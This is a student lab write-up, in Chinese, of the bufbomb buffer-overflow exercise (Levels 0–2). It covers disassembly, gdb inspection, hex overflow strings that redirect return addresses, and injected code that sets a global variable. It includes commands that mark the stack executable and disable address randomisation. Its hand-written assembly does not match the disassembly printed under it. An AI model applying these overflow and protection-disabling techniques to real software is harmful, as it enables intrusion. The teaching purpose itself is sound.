实验三 缓冲区溢出
首先反汇编得到汇编代码
objdump -s -d bufbomb > bufbomb.txt
Level 0 Candle
目标是通过缓冲区溢出覆盖返回地址为smoke函数的地址,跳到smoke函数执行。
进入调试,首先找到函数smoke的地址
gdb bufbomb
(gdb) p/x &smoke
$1 = 0x8048e20
查看getbuf的源码
08048fe0 <getbuf>:
8048fe0: 55 push %ebp
8048fe1: 89 e5 mov %esp,%ebp
8048fe3: 83 ec 18 sub $0x18,%esp
8048fe6: 8d 45 f4 lea -0xc(%ebp),%eax
8048fe9: 89 04 24 mov %eax,(%esp)
8048fec: e8 6f fe ff ff call 8048e60 <Gets>
8048ff1: b8 01 00 00 00 mov $0x1,%eax
8048ff6: c9 leave
8048ff7: c3 ret
8048ff8: 90 nop
8048ff9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
对代码分析如下:
-
首先压栈栈底,然后初始化新栈空间,分配了24个字节
-
eax = %ebp-12,即给要存的字符串留了12字节空间,在栈底,然后将这个位置起始位置即eax放入栈顶的内存中,作为调用Gets函数的参数,未来Gets函数通过这个参数(即指针)向%ebp-12地址中写不超过12字节的字符,其中以’\0’结尾。
-
那么目前的栈结构如下
故可以构造字符串长度为12+4+4=20字节的字符串输入,最后4位是smoke的地址0x8048e20即可。
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 8e 04 08
然后将这个值放入exploit.txt中,转化为exploit-raw.txt后执行查看结果。
./sendstring <exploit.txt> exploit-raw.txt
./bufbomb -t SA22011xxx < exploit-raw.txt
Level 1 Sparkler
目标是通过缓冲区溢出覆盖返回地址为fizz函数的地址,跳到fizz函数执行。但比Leverl0的区别在于fizz函数有一个入参,所以是“返回”到该函数并传送参数cookie,cookie是学号生成的。
首先生成cookie
./makecookie SA22011xxx
0x3c7af209
查看一下fizz的地址和内容在反汇编的文件中:
08048dc0 <fizz>:
......08048dc0 <fizz>:
8048dc0: 55 push %ebp
8048dc1: 89 e5 mov %esp,%ebp
8048dc3: 53 push %ebx
8048dc4: 83 ec 14 sub $0x14,%esp
8048dc7: 8b 5d 08 mov 0x8(%ebp),%ebx
8048dca: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048dd1: e8 ca fb ff ff call 80489a0 <entry_check>
8048dd6: 3b 1d cc a1 04 08 cmp 0x804a1cc,%ebx
8048ddc: 74 22 je 8048e00 <fizz+0x40>
8048dde: 89 5c 24 04 mov %ebx,0x4(%esp)
8048de2: c7 04 24 98 98 04 08 movl $0x8049898,(%esp)
8048de9: e8 76 f9 ff ff call 8048764 <printf@plt>
8048dee: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048df5: e8 aa f9 ff ff call 80487a4 <exit@plt>
8048dfa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
8048e00: 89 5c 24 04 mov %ebx,0x4(%esp)
8048e04: c7 04 24 29 9a 04 08 movl $0x8049a29,(%esp)
8048e0b: e8 54 f9 ff ff call 8048764 <printf@plt>
8048e10: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048e17: e8 c4 fc ff ff call 8048ae0 <validate>
8048e1c: eb d0 jmp 8048dee <fizz+0x2e>
8048e1e: 89 f6 mov %esi,%esi
分析fizz中处理逻辑如下:
- 进入fizz后将%ebp压栈,也就是ebp-=4,并把旧值压栈,分配新的栈顶更新,然后压栈被调用者保存寄存器ebx中值方便后面使用ebx,分配20字节空间为新的栈空间。
- 将ebp+8处的输入参数放入ebx中,而这个输入参数就是要输入的cookie,这个参数比较是否是正确的。
因此,和smoke函数的处理方式一样,覆盖ret地址后,注意的是这个cookie参数还要存在地址中,而行的ebp+8将提取这个cookie。
重要的是,当Gets函数去访问的返回地址被修改为08048dc0后,此时ebp在Level0中的图的8位置了进入了fizz函数,然后执行压栈ebp操作,所以Level0中的图的8位置是在fizz函数执行时的返回地址,那么输入参数应该是在12位置,而这个位置相对于在Gets函数中原来要覆盖的ret位置中间间隔了4字节。所以可以构造28字节的字符串:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 8d 04 08 00 00 00 00 09 f2 7a 3c
然后将这个值放入exploit.txt中,转化为exploit-raw.txt后执行查看结果。
./sendstring <exploit.txt> exploit-raw.txt
./bufbomb -t SA22011056 < exploit-raw.txt
注意一点,学号按照小端的顺序存放
Level 2 Firecracker
目标:修改全局变量 global_val为cookie值,并跳转到bang函数执行。
跳转到bang函数和之前操作方法一样缓冲区溢出,ret到bang函数的地址即可,但修改全局变量,就需要注入代码来修改。
首先明确全局变量 global_val和cookie存的位置,查看bang源码:
08048d60 <bang>:
8048d60: 55 push %ebp
8048d61: 89 e5 mov %esp,%ebp
8048d63: 83 ec 08 sub $0x8,%esp
8048d66: c7 04 24 02 00 00 00 movl $0x2,(%esp)
8048d6d: e8 2e fc ff ff call 80489a0 <entry_check>
8048d72: a1 dc a1 04 08 mov 0x804a1dc,%eax
8048d77: 3b 05 cc a1 04 08 cmp 0x804a1cc,%eax
8048d7d: 74 21 je 8048da0 <bang+0x40>
8048d7f: 89 44 24 04 mov %eax,0x4(%esp)
8048d83: c7 04 24 0b 9a 04 08 movl $0x8049a0b,(%esp)
8048d8a: e8 d5 f9 ff ff call 8048764 <printf@plt>
8048d8f: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048d96: e8 09 fa ff ff call 80487a4 <exit@plt>
8048d9b: 90 nop
8048d9c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
8048da0: 89 44 24 04 mov %eax,0x4(%esp)
8048da4: c7 04 24 70 98 04 08 movl $0x8049870,(%esp)
8048dab: e8 b4 f9 ff ff call 8048764 <printf@plt>
8048db0: c7 04 24 02 00 00 00 movl $0x2,(%esp)
8048db7: e8 24 fd ff ff call 8048ae0 <validate>
8048dbc: eb d1 jmp 8048d8f <bang+0x2f>
8048dbe: 89 f6 mov %esi,%esi
可以看见0x804a1dc 和 0x804a1cc两个静态存储区地址存放的全局变量在做比对,那么他们一定就是blobal_val 和 cookie,gdb调试看一下
(gdb) x/x 0x804a1dc
0x804a1dc <global_value>: 0x00000000
(gdb) x/x 0x804a1cc
0x804a1cc <cookie>: 0x00000000
则0x804a1dc存的global_val,0x804a1cc存的cookie。目前因为没有输入和改变global_val,所以他们都是0.
记下来就是构造几条命令来实现修改global_val = cookie值,其实现原理是通过缓冲区溢出,将缓冲区中注入这几条命令,然后返回的时候将跳转到此地址进行执行,然后执行完这几条指令,再通过ret指令进入bang函数。
那么这里有一点必须注意,首先要修改程序堆栈的可执行属性,然后关掉系统的栈地址随机化,否则每一次的缓冲区位置都不相同,无法通过缓冲区溢出跳转到此固定的缓冲区位置执行,即如下命令:
apt-get install execstack
execstack -s bufbomb
sudo sysctl -w kernel.randomize_va_space=0
那么可以查看一下getbuf中传入Gets函数的指针参数指向的地址是多少,即input string的起始地址。
gdb ./bufbomb
(gdb) break *0x8048fe9
(gdb) run -t SA22011xxx < exploit-raw.txt
(gdb) p/x $eax
$1 = 0xffffbcac
打断点到调用Gets前,查看输入参数在%eax中,由此可以看到输入缓冲区是从0xffffbcac
开始的
然后构建命令
movl $0x804a1cc, %eax
movl %eax, $0x804a1dc
pushq $0x08048d60
retq
- 上面命令时将地址0x804a1cc中cookie值写入地址0x804a1dc中的global_val中
- 然后将bang函数的入口地址压栈,最后调用返回指令弹栈4个字节内容,即刚压栈的0x08048d60地址作为跳转地址进入bang函数执行
现在将此命令写入bang.s文件,然后通过gcc编译转化为机器码
vim bang.s
gcc -m32 -c bang.s
objdump -d bang.o > bang.txt
cat bang.txt
bang.o: 文件格式 elf32-i386
Disassembly of section .text:
00000000 <.text>:
0: a1 cc a1 04 08 mov 0x804a1cc,%eax
5: a3 dc a1 04 08 mov %eax,0x804a1dc
a: 68 60 8d 04 08 push $0x8048d60
f: c3 ret
那么构造字符串就是:
a1 cc a1 04 08 a3 dc a1 04 08 68 60 8d 04 08 c3 ac bc ff ff
然后将这个值放入exploit.txt中,转化为exploit-raw.txt后执行查看结果。
./sendstring <exploit.txt> exploit-raw.txt
./bufbomb -t SA22011xxx< exploit-raw.txt